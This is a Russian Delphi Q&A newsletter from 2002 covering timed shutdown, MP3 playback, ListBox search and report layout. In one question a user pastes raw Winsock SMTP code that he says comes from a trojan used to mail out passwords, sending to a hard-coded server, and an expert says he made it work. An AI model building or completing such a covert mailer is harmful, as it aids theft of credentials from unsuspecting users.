Зравствуйте уважаемыемые эксперты программисты! Я пишу программу которая в определенное время может отключить компьютер. Я написал почти все в этой программе: она высвечивается в Tray, в нужное время срабатывает(просто выводится Messge), но я немогу написать самое главное: как выключить компьютер? Подскажите пожалуюста как это сделать ? Спасибо.
Ответ отправлен: 20.11.2002, 18:44 Отправитель: Артём Шегеда Отвечает Idle Sign
Добрый день, Вячеслав! ===== Pro bono publico, no bloody panico! ===== Предлагаю использовать модуль WinReboot, что в приложении.
Приложение: Ответ отправлен: 21.11.2002, 12:58 Отправитель: Idle Sign
Вопрос № 293
Здравствуйте!!!!!!!!!!!!1 Артём Шегеда продолжаем вопрос №289(надеюсь вы его не забыли) код и ссылка превосходные, все получилось, зделал пример на kol, прога весила 158кл, сжал, стала весить 68кл ну это хорошо, но все равно много, я видел как то в исходнике трояна пример отсылки паролей, без подключения библиотек вообще(был тока reg для реестра) (через сокеты) вот тот код type u_char = Char; u_short = Word; u_int = Integer; u_long = Longint; SunB = packed record s_b1, s_b2, s_b3, s_b4 : u_char; end; SunW = packed record s_w1, s_w2 : u_short;
end; TSocket = u_int; HINTERNET = Pointer; DWORD = LongWord; BOOL = LongBool; WSAData = record wVersion : Word; wHighVersion : Word; szDescription : array[0..256] of Char; szSystemStatus : array[0..128] of Char; iMaxSockets : Word; iMaxUdpDg : Word; lpVendorInfo : PChar; end; TWSAData = WSAData; PInAddr = ^TInAddr; in_addr = record case integer of 0: (S_un_b: SunB); 1: (S_un_w: SunW); 2: (S_addr: u_long); end; TInAddr = in_addr;
PSockAddrIn = ^TSockAddrIn; sockaddr_in = record case Integer of 0: (sin_family: u_short; sin_port: u_short; sin_addr: TInAddr; sin_zero: array[0..7] of Char); 1: (sa_family: u_short; sa_data: array[0..13] of Char) end; TSockAddrIn = sockaddr_in; TSockAddr = sockaddr_in; UINT = LongWord; TFileName = type string; TFILETIME = record dwLowDateTime : LongWord; dwHighDateTime : LongWord; end; ................... const winsocket = 'wsock32.dll'; SOCKET_ERROR = -1; AF_INET = 2;
SOCK_STREAM = 1; IPPROTO_IP = 0; ........................ function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'send'; function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; external winsocket name 'WSAStartup'; function socket(af, Struct, protocol: Integer): TSocket; stdcall; external winsocket name 'socket'; function htons(hostshort: u_short): u_short; stdcall;
external winsocket name 'htons'; function inet_addr (cp: PChar): u_long; stdcall; external winsocket name 'inet_addr'; function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'connect'; function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'recv'; function closesocket(s: TSocket): Integer; stdcall; external winsocket name 'closesocket'; ......................... MyBuf:='уыукы'; MySmtp:='194.67.57.51'; WSAStartUp(257, wsadata1);
sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); sin.sin_family := AF_INET; htons(25); sin.sin_port := htons(25); iaddr:=inet_addr(PChar(MySmtp)); sin.sin_addr.S_addr:=iaddr; connect(sock,sin,sizeof(sin)); recv(sock,buf,sizeof(buf),0); {---------------Send letter------------} SendInfToServer('HELO net.com'+#13+#10); recv(sock,buf,sizeof(buf),0); SendInfToServer('MAIL FROM: '+'admin@mail.ru'+#13+#10); recv(sock,buf,sizeof(buf),0); SendInfToServer('RCPT TO: '+Mailto+#13+#10); recv(sock,buf,sizeof(buf),0); SendInfToServer('DATA'+#13+#10); recv(sock,buf,sizeof(buf),0); SendInfToServer(MyBuf+#13+#10); SendInfToServer(#13+#10+'.'+#13+#10); recv(sock,buf,sizeof(buf),0);
SendInfToServer('QUIT'+#13+#10); recv(sock,buf,sizeof(buf),0); {---------------Send letter end---------} closesocket(sock); end; вот и все...я не могу этот код реализовать, вроде прога конектиться серваком, но письма не идут, помогите мне ище раз и я от вас отстану(дайте исходник или где почитать) пожалуйста lamachok кидайте туды lamachok@atnet.ru
Видно, человеку очень хочется... Ну, чтож, крови мне этот WinSock попил, но результат - налицо. 9.5К при использовании run-time packages и 47К без оных. В Unit1 расписаны ошибки и функция их анализа:
procedure Check(GoodFunctionResult : boolean); begin if not GoodFunctionResult then begin ShowWSAErrorMessge(WSAGetLastError); Abort; end; end;
Так вот, вызов ShowWSAErrorMessge можно убрать.
Приложение: Ответ отправлен: 22.11.2002, 19:40 Отправитель: Артём Шегеда
Доброе время суток, Tik! ===== Pro bono publico, no bloody panico! ===== Либо ищи библиотеку для работы с форматом, либо проигрывай ассоциированной программой (e.g. WinAmp) - функция ShellExecute... Ответ отправлен: 21.11.2002, 17:16 Отправитель: Idle Sign Отвечает Jadd
Добрый день, Tik! Нет такой функции. Для проигрывания файлов mp3 либо ищи компоненты, либо либы, либо пиши сам декодер mp3, благо формат известен. Ответ отправлен: 21.11.2002, 14:23 Отправитель: Jadd Отвечает baldr
Доброе время суток, Tik! Можно с помощью ShellExecute вызвать приложение, связанное с этим файлом. А если нужно проиграть его самой программой, то легче всего будет воспользоваться уже готовыми компонентами. На www.torry.net или www.torry.ru их не может не быть!
Ответ отправлен: 23.11.2002, 00:37 Отправитель: baldr
Вопрос № 296
Здраствуйте эксперты! _____________________ 1) Как организовать поиск элементов в Listbox? Есть Edit и Listbox Вводишь в Edit слово ,программа ищет его в Listbox и выделяет всю строку с найденным элементом___ pomoGITE please 2)Зацените сайт (www.coder-group.narod.ru)//только его сделал =:)
Здравствуйте, pcgamer! ===== Pro bono publico, no bloody panico! ===== 1) см. приложение (поиск "налету") 2) у-у-у Сыровато пока...
Приложение: Ответ отправлен: 21.11.2002, 17:15 Отправитель: Idle Sign Отвечает Necro
Приветствую Вас, pcgamer! Примерно так: for a := 0 to listbox1.items.count - 1 do if pos(edit1.text,listbox1.items.strings[a]) <> 0 then listbox1.itemindex := a; Ответ отправлен: 21.11.2002, 17:07 Отправитель: Necro Отвечает Jadd
Добрый день, pcgamer! Все очень просто. В цикле обходишь все элементы ListBox'а и проверяешь на совпадение имени. Получить текущий Item в цикле не составляет труда, а вот текст этого Item'а получается так: SomeString := ListBox.Items.Strings[i]; где SomeString будет содержать текст Item'а Ответ отправлен: 22.11.2002, 02:33 Отправитель: Jadd Отвечает baldr
Добрый день, pcgamer! Проходишь по всем элементам списка и ищешь. Поиск - тоже нетривиальная задача. Если тебе надо просто тупое совпадение вплоть до регистра каждой буквы, то простым равенством проверяй! В ListBox'е данные хранятся как в массиве строк. Обращаться так: ListBox1.Items[I] - это конкретная запись. Вот не понимаю я таких "кодеров" - как только установят себе Delphi - сразу, блин, "программеры"... :( На сайте полно грамматических ошибок - я как только увидел, сразу закрыл окно. Исправляй. И вообще - ... Ну да ладно... :(
Ответ отправлен: 23.11.2002, 00:36 Отправитель: baldr
Вопрос № 297
Здравствуйте, Скажите как вывести текст(макс.500 символов) в отчет. Скажите пожалуйста каой компонент для этого нужно использовать? Я работаю на Delphi 5 и никак не могу вывести это с помошью Qrmemo. Скажите еще как сделать так что бы каждая запись в отчете отделялась автоматически. Т.е что бы разные по размеру записи занимали соответственно разное по размеру листа место. Надеюсь вы меня понимаете. Спасибо.
Добрый день, dude! Ну для этого есть QRLabel или QRDBLabel. Делаешь отчет по типу Master->Detail и все у тебя получится. Удачи Ответ отправлен: 22.11.2002, 14:05 Отправитель: Jadd Отвечает baldr
Приветствую Вас, dude! Ну да, QRMemo... Только в TQreport надо еще и разметку сделать. У этого компонента есть такие штуки, как поля (bands), которые тоже кидаешь на отчет, задаешь их тип (колонтитул, заголовок, сводная строка, шаблон данных и пр) и уже на них кидаешь QRMemo, текстэдиты и пр... В общем, суть такая: заголовок - он один во всем отчете. Колонтитулы (верхний и нижний) - на каждой странице, а шаблон данных (извини, не помню как они называются, поэтому условно обзываю) содержит набор компонентов, которые будут растиражированы по всему отчету для КАЖДОЙ записи из набора. В общем, советую в доках глянуть - я сначала тоже не понял, а потом как картинку увидел - моментально въехал!
Ответ отправлен: 23.11.2002, 00:34 Отправитель: baldr
Форма отправки вопроса
Внимание!
Форма может работать некорректно в почтовых программах "Microsoft Outlook"
и "Microsoft Outlook Express". В программе The Bat!
подобные формы не работают вообще!
После нажатия на кнопку "Отправить", будет открыто второе окно. Заметьте,
что в некоторых браузерах могут стоять запреты на открытие других
окон, а также "чрезмерное" кэширование данных,
при этом факт отправки Вашего вопроса стоит под сомнением.
Мы рекомендуем открывать рассылку в программе Internet
Explorer 5.0+ или отправлять вопросы с сайта по адресу:
http://rusfaq.ru/cgi-bin/Message.cgi.